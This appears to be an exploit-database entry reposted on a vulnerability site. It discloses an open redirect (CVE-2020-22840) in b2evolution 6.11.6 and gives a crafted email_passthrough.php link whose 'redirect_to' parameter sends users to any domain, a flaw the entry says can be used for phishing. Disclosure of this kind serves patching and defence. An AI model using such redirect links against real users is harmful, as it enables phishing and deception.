Tuesday, March 2, 2021

b2evolution 6.11.6 - 'redirect_to' Open Redirect

# Exploit Title: b2evolution 6.11.6 - 'redirect_to' Open Redirect
# Date: 10/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22840


--------------------------Proof of Concept-----------------------


1. Send the following link : http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com to the unsuspecting user
2. The user will be redirected to Google.com or any other attacker controlled domain
3. This can be used to perform malicious phishing campaigns on unsuspecting users
            
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated